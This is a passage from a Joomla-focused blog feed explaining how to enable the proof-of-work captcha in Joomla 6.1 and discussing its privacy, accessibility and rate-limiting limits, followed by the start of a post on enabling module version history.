&lt;li&gt;&lt;strong&gt;Expiration.&lt;/strong&gt; How long the solved puzzle stays valid. Five minutes is the default, which matches how long a real visitor takes to fill out a contact form. If you have a long multi-page form, bump it higher.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Set &lt;strong&gt;Status&lt;/strong&gt; to &lt;strong&gt;Enabled&lt;/strong&gt; and hit &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Step 2: Make it the site-wide default&lt;/h3&gt;
&lt;p&gt;Go to &lt;strong&gt;System&lt;/strong&gt;, then &lt;strong&gt;Global Configuration&lt;/strong&gt;, then the &lt;strong&gt;Site&lt;/strong&gt; tab. Find the &lt;strong&gt;Default Captcha&lt;/strong&gt; field. It will currently be set to &lt;strong&gt;- None Selected -&lt;/strong&gt; or whichever captcha plugin you were using before.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Default Captcha dropdown in Joomla 6.1 Global Configuration, showing CAPTCHA - Proof of Work as the available option&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1706px) 1706px, 100vw&quot; width=&quot;1706&quot; height=&quot;262&quot; src=&quot;https://mysites.guru/_astro/pow-captcha-global-default.CGozkhbZ_1Fv0MV.webp&quot; srcset=&quot;https://mysites.guru/_astro/pow-captcha-global-default.CGozkhbZ_1b1Gi0.webp 640w, https://mysites.guru/_astro/pow-captcha-global-default.CGozkhbZ_Z1muwxv.webp 750w, https://mysites.guru/_astro/pow-captcha-global-default.CGozkhbZ_1BxUK1.webp 828w, https://mysites.guru/_astro/pow-captcha-global-default.CGozkhbZ_Z1Mz7pE.webp 1080w, https://mysites.guru/_astro/pow-captcha-global-default.CGozkhbZ_Zp4wkD.webp 1280w, https://mysites.guru/_astro/pow-captcha-global-default.CGozkhbZ_hijzd.webp 1668w, https://mysites.guru/_astro/pow-captcha-global-default.CGozkhbZ_1Fv0MV.webp 1706w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Change it to &lt;strong&gt;CAPTCHA - Proof of Work&lt;/strong&gt; and save.&lt;/p&gt;
&lt;p&gt;That is it. Any form in Joomla that uses the captcha API now gets POW captcha by default. That covers Joomla’s own contact forms, user registration, password reset forms, and most well-behaved third-party extensions.&lt;/p&gt;
&lt;h3&gt;Step 3: Verify it actually works&lt;/h3&gt;
&lt;p&gt;Open the site’s contact form in a private browser window. Submit it with a test message. The submission should go through with no visible captcha challenge. If the form has a hard-coded reCAPTCHA widget from a template override or a third-party extension, you will see it and that is the hint to fix it separately.&lt;/p&gt;
&lt;p&gt;If you want to see the plugin in action, open the browser devtools, watch the Network tab, and submit the form. You should see an extra form field named &lt;code&gt;altcha&lt;/code&gt; or similar going up with the submission. That is the solved puzzle.&lt;/p&gt;
&lt;h3&gt;Step 4: Turn off Google reCAPTCHA if you were using it&lt;/h3&gt;
&lt;p&gt;Now that POW captcha is the default, the reCAPTCHA plugin is doing nothing. Go back to &lt;strong&gt;Extensions&lt;/strong&gt;, then &lt;strong&gt;Plugins&lt;/strong&gt;, find &lt;strong&gt;CAPTCHA - ReCAPTCHA&lt;/strong&gt;, disable it, and remove the site key and secret key from the plugin configuration. Removing the keys now means they are not sitting in the database as a liability if the site is compromised later.&lt;/p&gt;
&lt;h2&gt;What Is a Proof-of-Work Captcha, Actually?&lt;/h2&gt;
&lt;p&gt;Traditional captchas ask a human to prove they are human. Pick the traffic lights. Read the distorted text. Click the checkbox that Google’s fingerprinting thinks a real browser clicked. They all share a flaw: if the bot is good enough at the specific task, it wins. Bots have gotten very good.&lt;/p&gt;
&lt;p&gt;Proof-of-work flips the question. Instead of testing humans against bots, it asks both of them to do a small bit of computational work before the form submission counts. The browser is given a random number and a target, and it has to find another number whose combined hash matches the target. This is the same Hashcash-style puzzle that underpins Bitcoin, just tuned to take a fraction of a second in a browser rather than ten minutes on a mining rig.&lt;/p&gt;
&lt;p&gt;A legitimate visitor submitting one contact form does not notice the extra few hundred milliseconds. A spammer trying to submit the same form ten thousand times an hour absolutely notices the extra thousand CPU-seconds. Spam is an economics problem, and POW captchas break the economics.&lt;/p&gt;
&lt;div&gt;
&lt;h3&gt;Why “proof of work” beats “prove you are human”&lt;/h3&gt;
&lt;p&gt;The “are you human” framing assumes there is a test a human passes and a bot fails. In 2024, researchers at ETH Zurich &lt;a href=&quot;https://arxiv.org/abs/2409.08831&quot;&gt;showed that bots now solve reCAPTCHA v2 challenges 100% of the time&lt;/a&gt;, matching human success rates. The test has stopped testing anything. Proof of work does not care whether the submitter is human; it just charges both of them for the privilege of submitting.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Where Does Altcha Fit In?&lt;/h2&gt;
&lt;p&gt;The Joomla plugin is called &lt;code&gt;plg_captcha_powcaptcha&lt;/code&gt; on purpose. The naming is library-agnostic so the Joomla project can swap the underlying implementation later if a better one comes along. For now, the engine is &lt;a href=&quot;https://altcha.org&quot;&gt;Altcha&lt;/a&gt;, an MIT-licensed proof-of-work library maintained by BAU Software s.r.o. in Brno, Czechia.&lt;/p&gt;
&lt;p&gt;Altcha has been around since 2023 and is now on version 3. It supports several hash algorithms (SHA-256 with a key derivation function is the default, with optional Argon2id and scrypt), is small enough to ship in core without bloating Joomla, and documents itself as WCAG 2.2 Level AA and European Accessibility Act 2025 compliant. Akeeba Ltd already shipped a &lt;a href=&quot;https://github.com/akeeba/plg_captcha_altcha&quot;&gt;third-party &lt;code&gt;plg_captcha_altcha&lt;/code&gt; plugin&lt;/a&gt; for Joomla users who wanted this earlier, and Nicholas Dionysopoulos continues to maintain it. From Joomla 6.1 onwards, the functionality is in core.&lt;/p&gt;
&lt;p&gt;The decision to bundle Altcha rather than roll a Joomla-specific library was the right call. Captchas have subtle implementation failures that only show up at scale, and piggybacking on a library used outside the Joomla world means bugs get found and fixed by a larger pool of eyes.&lt;/p&gt;
&lt;h2&gt;What Happens Under the Hood When a Form Is Submitted?&lt;/h2&gt;
&lt;p&gt;Worth a minute if you ever need to debug why a submission is being rejected.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;When the form renders, the server embeds a challenge into the form HTML: a random salt, a random number, and a target hash value. These get stored in the database so the server can verify them later.&lt;/li&gt;
&lt;li&gt;The visitor’s browser runs a small JavaScript function that tries increasing numbers until it finds one where &lt;code&gt;hash(salt + number) &amp;lt;= target&lt;/code&gt;. This is the “work”. At Easy difficulty, a modern browser finds a solution in 100 to 500 milliseconds. At Hard, 2 to 3 seconds.&lt;/li&gt;
&lt;li&gt;When the form is submitted, the found number is sent along with the other form data.&lt;/li&gt;
&lt;li&gt;The server retrieves the original challenge, verifies the submitted number is a valid solution, checks the submission is not past the expiration window, and then deletes the challenge row so the solution cannot be replayed.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The database table is created by the SQL migration in &lt;code&gt;administrator/components/com_admin/sql/updates/mysql/6.1.0-2025-11-29.sql&lt;/code&gt;. It is small. The provider class in &lt;code&gt;plugins/captcha/powcaptcha/src/Provider/POWCaptchaProvider.php&lt;/code&gt; handles verification.&lt;/p&gt;
&lt;p&gt;One practical consequence: the captcha is stateful. A site with millions of form views per hour will see millions of rows being written and deleted in that table. For the contact form on a brochure site this is nothing. For a high-traffic registration endpoint it is a worth-watching load.&lt;/p&gt;
&lt;h2&gt;What Does This Mean for GDPR?&lt;/h2&gt;
&lt;p&gt;This has already resulted in fines. In France, the &lt;a href=&quot;https://datadome.co/bot-management-protection/ruling-recaptcha-uses-data-for-purposes-other-than-security-french-privacy-commission/&quot;&gt;CNIL has ruled&lt;/a&gt; that Google reCAPTCHA accesses terminal data beyond what is strictly necessary for security. Under Article 82 of the French Data Protection Act, that means sites need prior consent before reCAPTCHA loads. CITYSCOOT was fined EUR 125,000 and NS CARDS FRANCE EUR 105,000, in both cases partly for improper reCAPTCHA deployment.&lt;/p&gt;
&lt;p&gt;In practice, that decision has not stopped anyone from using reCAPTCHA, because the consent banner shows up before the captcha loads and everyone clicks Accept without reading. But it has created a compliance debt no one quite wants to deal with. German data protection authorities have taken similar positions over the years, and since Joomla has a strong German contributor base, I would guess that is part of why the project prioritised a self-hosted alternative.&lt;/p&gt;
&lt;p&gt;POW captcha does not send anything to any third party. There is no external request, no fingerprinting, no cookie set by the captcha. Whatever cookie policy your site has for other reasons still applies, but the captcha is not adding anything to disclose. For EU-facing sites where the cookie banner is already a UX tax, that is one less line on the list.&lt;/p&gt;
&lt;h2&gt;What About Accessibility?&lt;/h2&gt;
&lt;p&gt;Traditional captchas have been a disaster for disabled users since the day they were invented. The W3C published the note &lt;a href=&quot;https://www.w3.org/TR/turingtest/&quot;&gt;Inaccessibility of CAPTCHA&lt;/a&gt; back in 2005 documenting how visual, audio, and cognitive challenges all exclude some group of legitimate users. Twenty-one years later, image grids are still the default experience on most reCAPTCHA-protected forms.&lt;/p&gt;
&lt;p&gt;POW captcha is invisible. There is no test the visitor fails. A screen reader user, a keyboard-only user, someone with motor control issues, someone on a weird mobile browser: all of them fill the form and submit, the puzzle solves in the background, and it works. The &lt;a href=&quot;https://altcha.org/accessible-captcha/&quot;&gt;Altcha project&lt;/a&gt; documents itself as WCAG 2.2 Level AA and European Accessibility Act 2025 compliant, and I believe them, because there is nothing for the visitor to interact with in the first place.&lt;/p&gt;
&lt;h2&gt;What Does Not Work Yet: Rate Limiting&lt;/h2&gt;
&lt;p&gt;The pull request description calls this out honestly. Altcha recommends ramping up puzzle difficulty when the same source keeps submitting. A first submission gets Easy difficulty. The tenth submission in ten minutes from the same IP gets Hard. The hundredth gets punishingly hard. This makes spam runs progressively more expensive and eventually uneconomic.&lt;/p&gt;
&lt;p&gt;Joomla 6.1 does not do this yet. The reason is that Joomla core does not have a generic rate-limiting framework, and building one is its own medium-sized project. The captcha plugin still blocks casual bots just fine at a fixed difficulty; where the missing framework shows up is the dedicated spammer who does not care about cost per submission and will grind through.&lt;/p&gt;
&lt;p&gt;The framework is on the official roadmap, but not for 6.x. Harald Leithner is leading a &lt;a href=&quot;https://developer.joomla.org/features/46-joomla-7-x/48-defend-and-expand-market-lead/1000-rate-limiting-framework.html&quot;&gt;Rate Limiting Framework feature proposal&lt;/a&gt; targeted at Joomla 7.x, currently in Planning. The design will be modelled on Symfony’s Rate Limiter and cover login, password reset, MFA, search, contact forms, and captcha difficulty escalation. There is no open PR or issue in the joomla-cms repo against it yet; the feature entry is the only public artifact. Do not expect automatic difficulty ramping in any 6.x release.&lt;/p&gt;
&lt;p&gt;Practical advice: if you have a specific endpoint that is getting hammered, crank the plugin’s Difficulty to Hard globally. That slows every legitimate visitor by one or two seconds. Annoying but acceptable. The alternative is layering in separate rate limiting at the web server or WAF level.&lt;/p&gt;
&lt;h2&gt;Common Gotchas When Switching to POW Captcha&lt;/h2&gt;
&lt;p&gt;Things to check after you have enabled the plugin and set it as the default.&lt;/p&gt;
&lt;h3&gt;Hard-coded reCAPTCHA in a template&lt;/h3&gt;
&lt;p&gt;Some Joomla templates include a reCAPTCHA widget directly in the contact form override. Changing the Default Captcha in Global Configuration does not affect these. You need to edit the template override, or switch to a template that uses the Joomla captcha API.&lt;/p&gt;
&lt;h3&gt;Third-party form builders&lt;/h3&gt;
&lt;p&gt;Most of the major Joomla form builders (ChronoForms, Convert Forms, RSForm!Pro, Fabrik) integrate with the Joomla captcha API and pick up the Default Captcha automatically. Some older extensions have their own captcha settings inside the form editor that need to be changed form by form.&lt;/p&gt;
&lt;h3&gt;Caching plugins&lt;/h3&gt;
&lt;p&gt;If you use a page cache on the front end, the captcha challenge is baked into the cached HTML and the same challenge is served to every visitor. That is both a functional bug (challenges can be replayed) and a security problem. Most Joomla caching setups already exclude contact-form pages from caching; double-check yours.&lt;/p&gt;
&lt;h3&gt;Privacy policy&lt;/h3&gt;
&lt;p&gt;Your privacy policy might currently say “we use Google reCAPTCHA to prevent spam”. Delete that sentence. If you are using the POW captcha, the privacy policy does not need to mention any third-party service for form protection.&lt;/p&gt;
&lt;h2&gt;Should You Switch Everything to POW Captcha Today?&lt;/h2&gt;
&lt;p&gt;Short answer: yes, but do not rip out reCAPTCHA without a plan.&lt;/p&gt;
&lt;p&gt;Long answer: set POW captcha as the Joomla default on every site. Check each site’s forms still work. On sites where reCAPTCHA is only wired up through the Joomla captcha API, you can then disable the Google reCAPTCHA plugin and delete the API keys. On sites where reCAPTCHA is hard-coded into a third-party extension or a custom template, update those integrations individually.&lt;/p&gt;
&lt;p&gt;The big risk is not technical, it is completeness. Half-switched sites are worse than fully-on-one-or-the-other sites, because now you have two captcha plugins enabled and the site is doing two sets of work for every form submission. Make a list, work through it, check each site, mark it done. That is exactly the kind of thing the mySites.guru Enable POW Captcha tool is for.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5950-joomla-6-1-is-here.html&quot;&gt;Joomla! 6.1 release announcement&lt;/a&gt; - official post from the Joomla project.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46514&quot;&gt;PR #46514: Add proof-of-work captcha&lt;/a&gt; - the pull request that added the feature, with full context from David Jardin and sponsor GLS Parcel Services.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/features/46-joomla-7-x/48-defend-and-expand-market-lead/1000-rate-limiting-framework.html&quot;&gt;Joomla 7.x Rate Limiting Framework proposal&lt;/a&gt; - Harald Leithner’s feature proposal to add a Symfony-style rate limiter to Joomla core, which will eventually unlock automatic difficulty ramping for the POW captcha.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://altcha.org/docs/v2/proof-of-work-captcha/&quot;&gt;Altcha documentation&lt;/a&gt; - the underlying library, including the algorithm, configuration options, and compliance notes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/abs/2409.08831&quot;&gt;Breaking reCAPTCHAv2 (ETH Zurich, 2024)&lt;/a&gt; - the paper showing bots now solve reCAPTCHA v2 at 100% success rates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.usenix.org/system/files/usenixsecurity23-searles.pdf&quot;&gt;Dazed &amp;amp; Confused: A Large-Scale Real-World User Study of reCAPTCHA (USENIX Security 2023)&lt;/a&gt; - 13-month real-world study showing reCAPTCHA costs users more time than it catches bots.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/turingtest/&quot;&gt;W3C Note: Inaccessibility of CAPTCHA&lt;/a&gt; - the official accessibility critique of traditional captchas.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datadome.co/bot-management-protection/ruling-recaptcha-uses-data-for-purposes-other-than-security-french-privacy-commission/&quot;&gt;CNIL decision on reCAPTCHA&lt;/a&gt; - context on why EU sites have been uneasy about Google reCAPTCHA for years.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1: What’s new&lt;/a&gt; - the full 6.1 feature roundup if you want the bigger picture.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;How to disable “send copy to submitter” in Joomla&lt;/a&gt; - one of the older workarounds Joomla sites used to fight contact form spam. POW captcha is now the better default.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; - PHP and database minimums you need before you can run 6.1 at all, and therefore before the POW captcha plugin is even available.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;How to verify Joomla email configuration works&lt;/a&gt; - pair captcha protection on the browser side with an end-to-end email test so you know contact form submissions actually reach you.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>security</category><category>gdpr</category><category>captcha</category><enclosure url="https://mysites.guru/img/og/blog/how-to-enable-pow-captcha-in-joomla-6-1.png" length="0" type="image/png"/></item><item><title>How to Turn On Module Versioning in Joomla 6.1</title><link>https://mysites.guru/blog/joomla-6-1-module-versioning/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-1-module-versioning/</guid><description>Joomla 6.1 finally brings version history to modules. How to enable save_history manually, and how mySites.guru flips it on across every site.</description><pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 6.1 &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;shipped yesterday&lt;/a&gt; with one feature that will feel overdue to anyone who has ever lost a module edit: version history for modules. Articles have had this since Joomla 3.2 in 2013. Menu items, categories, tags, contacts, newsfeeds, and user notes picked it up along the way. Modules were the glaring hole in the list. Joomla 6.1.0 finally closes it.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites for clients, you have almost certainly been bitten by this. A typo in a custom HTML module, a bad class name on a menu module, a well-meaning client who “just tweaked the footer” and took their own site offline. Without versioning, the only way back is your last backup, or opening the module side by side with a staging copy and reconstructing the old content by hand.&lt;/p&gt;
&lt;p&gt;In 6.1, once you turn the feature on, every module save is captured. Open the Versions panel while editing and you get the same diff-and-restore UI you already use for articles. One click and the module is back.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Enables Joomla Module Versioning on Every Site at Once&lt;/h2&gt;
&lt;p&gt;Joomla 6.1 ships with module versioning turned off. On a single site that is a two-click fix. On thirty client sites it is thirty logins, thirty Options dialogs, thirty Save clicks, and thirty reasons to put it off until next week.&lt;/p&gt;
&lt;p&gt;mySites.guru now ships a new audit tool called &lt;strong&gt;Enable Joomla Module Versioning For Safe Rollback Of Module Edits&lt;/strong&gt; that runs on every Joomla 6.1 snapshot. It reads the &lt;code&gt;com_modules&lt;/code&gt; component params, checks whether &lt;code&gt;save_history&lt;/code&gt; is set to &lt;code&gt;1&lt;/code&gt;, and flags any site where it is not. The fix is a single click: the connector writes &lt;code&gt;save_history = 1&lt;/code&gt; and sets a sensible &lt;code&gt;history_limit&lt;/code&gt; of 10 if one is not already configured, directly to the &lt;code&gt;#__extensions&lt;/code&gt; table. No admin login. No browser tab juggling.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The new Enable Joomla Module Versioning check on a mySites.guru snapshot row, flagged with 1 Issue and a NEW! badge, alongside other Joomla checks like SSL Certificate and Locked Scheduled Tasks&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2074px) 2074px, 100vw&quot; width=&quot;2074&quot; height=&quot;256&quot; src=&quot;https://mysites.guru/_astro/joomla-6-1-module-versioning-snapshot-row.BsrvMLee_Z2gYzzI.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-6-1-module-versioning-snapshot-row.BsrvMLee_ThXnk.webp 640w, https://mysites.guru/_astro/joomla-6-1-module-versioning-snapshot-row.BsrvMLee_ZKnjNN.webp 750w, https://mysites.guru/_astro/joomla-6-1-module-versioning-snapshot-row.BsrvMLee_CLUWg.webp 828w, https://mysites.guru/_astro/joomla-6-1-module-versioning-snapshot-row.BsrvMLee_Z1MzGxP.webp 1080w, https://mysites.guru/_astro/joomla-6-1-module-versioning-snapshot-row.BsrvMLee_ZjdIdK.webp 1280w, https://mysites.guru/_astro/joomla-6-1-module-versioning-snapshot-row.BsrvMLee_1sHFlx.webp 1668w, https://mysites.guru/_astro/joomla-6-1-module-versioning-snapshot-row.BsrvMLee_Z1SrOFV.webp 2048w, https://mysites.guru/_astro/joomla-6-1-module-versioning-snapshot-row.BsrvMLee_Z2gYzzI.webp 2074w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;Enable Module Versioning tool in mySites.guru showing module versioning disabled on a Joomla 6 site, with a single Auto-Magically Fix This For Me button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3196px) 3196px, 100vw&quot; width=&quot;3196&quot; height=&quot;2288&quot; src=&quot;https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_2ul3uj.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_6srtx.webp 640w, https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_f3tqE.webp 750w, https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_23n0pK.webp 828w, https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_nLWNH.webp 1080w, https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_2tXlnX.webp 1280w, https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_2bGXDn.webp 1668w, https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_Z1mQzz8.webp 2048w, https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_Z1R2UYy.webp 2560w, https://mysites.guru/_astro/joomla-6-1-module-versioning-disabled.BT6GoE_H_2ul3uj.webp 3196w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One click on &lt;strong&gt;Auto-Magically Fix This For Me&lt;/strong&gt; and the same check comes back green:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The same Enable Module Versioning check after the fix, showing module versioning is now enabled and future edits will be saved as versions&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3192px) 3192px, 100vw&quot; width=&quot;3192&quot; height=&quot;1812&quot; src=&quot;https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_ZKURFS.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_Z20YG16.webp 640w, https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_a60OP.webp 750w, https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_2uLwT8.webp 828w, https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_tGVwy.webp 1080w, https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_cgowc.webp 1280w, https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_Z1qjEtX.webp 1668w, https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_AfjHv.webp 2048w, https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_23diWd.webp 2560w, https://mysites.guru/_astro/joomla-6-1-module-versioning-fixed.IVZvfQ6k_ZKURFS.webp 3192w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;From the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/modulesavehistory&quot;&gt;all-sites tool view&lt;/a&gt; you can see the module versioning status for every connected Joomla 6.1 site in one table and toggle on the ones that are still off. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, this is thirty minutes of busywork collapsed into one button.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;All-sites view of the Enable Module Versioning tool in mySites.guru, listing every connected Joomla site with an Investigate and Manage Site button per row&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3196px) 3196px, 100vw&quot; width=&quot;3196&quot; height=&quot;1386&quot; src=&quot;https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_Z24JpXv.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_1h1jfH.webp 640w, https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_18r0l2.webp 750w, https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_ZLDMdF.webp 828w, https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_1MEA5e.webp 1080w, https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_Z1WfByY.webp 1280w, https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_1mdQ0u.webp 1668w, https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_Z1bia4v.webp 2048w, https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_ZpKzAd.webp 2560w, https://mysites.guru/_astro/joomla-6-1-module-versioning-all-sites.CVIEDd3i_Z24JpXv.webp 3196w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The audit tool only runs on Joomla 6.1 and later, since the feature itself does not exist on older versions. Older sites are simply skipped in the check.&lt;/p&gt;
&lt;h2&gt;How Do You Enable Joomla Module Versioning Manually in Joomla 6.1?&lt;/h2&gt;
&lt;p&gt;If you only have one Joomla site, or you want to understand what the setting does before pushing it out across your portfolio, it is a quick fix:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log into the Joomla 6.1 admin.&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Components&lt;/strong&gt;, then &lt;strong&gt;Modules&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Options&lt;/strong&gt; button in the top right of the toolbar.&lt;/li&gt;
&lt;li&gt;On the &lt;strong&gt;Component&lt;/strong&gt; tab, set &lt;strong&gt;Save History&lt;/strong&gt; to &lt;strong&gt;Yes&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Leave &lt;strong&gt;Maximum Versions&lt;/strong&gt; at the default of &lt;code&gt;10&lt;/code&gt;, or bump it higher if you edit modules frequently and want a longer rollback window.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Save and Close&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That is it. From this point on, every module save is tracked.&lt;/p&gt;
&lt;p&gt;One thing that trips people up: the setting is on the &lt;strong&gt;component&lt;/strong&gt; level, not in &lt;strong&gt;System → Global Configuration&lt;/strong&gt;. Joomla has a Global Configuration panel that covers site-wide settings like the site name and session lifetime. Component-specific settings like this one live on each component’s own Options screen, reached through the Components menu. Some older tutorials for content history refer to Global Configuration, but for modules in 6.1 the field is specifically in the com_modules component config.&lt;/p&gt;
&lt;p&gt;You can also reach the same setting through &lt;strong&gt;Extensions → Modules → Options&lt;/strong&gt;. It is the same underlying config row in the database, so changing it in either location applies everywhere.&lt;/p&gt;
&lt;h2&gt;What Does Joomla 6.1 Module Versioning Actually Do Under the Hood?&lt;/h2&gt;
&lt;p&gt;The implementation is smaller than you might expect. Robert Deutz’s &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/46772&quot;&gt;pull request #46772&lt;/a&gt; adds just 78 lines of production code. It works by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Adding modules as content type id 14&lt;/strong&gt; in the &lt;code&gt;#__content_types&lt;/code&gt; table. This is the table the &lt;code&gt;com_contenthistory&lt;/code&gt; system uses to know what kinds of items can be versioned. Pre-6.1 there were 13 types (articles, categories, contacts, tags, and so on). 6.1 adds &lt;code&gt;com_modules.module&lt;/code&gt; as id 14.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flipping the save_history switch&lt;/strong&gt; in &lt;code&gt;com_modules&lt;/code&gt; component params. When save_history is 1, the existing contenthistory hook captures every module save.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Adding a history_limit field&lt;/strong&gt; in the same component params, defaulting to 10. This tells contenthistory how many versions to keep per module before pruning old ones.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Adding a version_note text field&lt;/strong&gt; to the module edit form. When you save a module, you can optionally leave a short note describing the change. The note appears in the Versions list, so future-you (or whoever has to roll back) can see “fixed client logo width” instead of a timestamp.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Everything else already existed. The diff UI, the restore button, the Keep Forever flag, the &lt;code&gt;#__ucm_history&lt;/code&gt; storage table - all of it was built for articles years ago and has been reused for every item type added since. Wiring modules into the same system is a few lines of XML and a content type row. The fact that it took twelve years to get here is more a story about how much is already on the Joomla project’s plate than about the difficulty of the feature.&lt;/p&gt;
&lt;div&gt;
&lt;h3&gt;The Audit Trail Is the Quieter Benefit&lt;/h3&gt;
&lt;p&gt;The rollback safety net is the obvious win, but the audit trail is the quieter benefit. Every version row records who made the change, when, and optionally why. On a shared admin account that is not great, but on a properly configured site with per-user Joomla logins, it becomes a simple answer to “who broke the homepage module last Tuesday.”&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Did Joomla Module Versioning Look Like Before Joomla 6.1?&lt;/h2&gt;
&lt;p&gt;If you have been on Joomla for a while, you know the workarounds. Most of them were ugly.&lt;/p&gt;
&lt;h3&gt;Third-Party Extensions&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://extensions.joomla.org/extension/module-version/&quot;&gt;Module Version extension&lt;/a&gt; by RickR2H has lived on the JED for years. It does roughly what 6.1 now does natively. Respectable piece of work, and if you are still on 5.x or earlier it is still the best option. From 6.1 forward you can drop it.&lt;/p&gt;
&lt;h3&gt;Snapshot Plugins&lt;/h3&gt;
&lt;p&gt;A pile of third-party backup and audit tools save module configurations on a schedule. That is backup, not version history. It works if you notice the problem within the backup window, not if a client discovers the bad edit three weeks later.&lt;/p&gt;
&lt;h3&gt;Manual Copy-Paste in Custom HTML Modules&lt;/h3&gt;
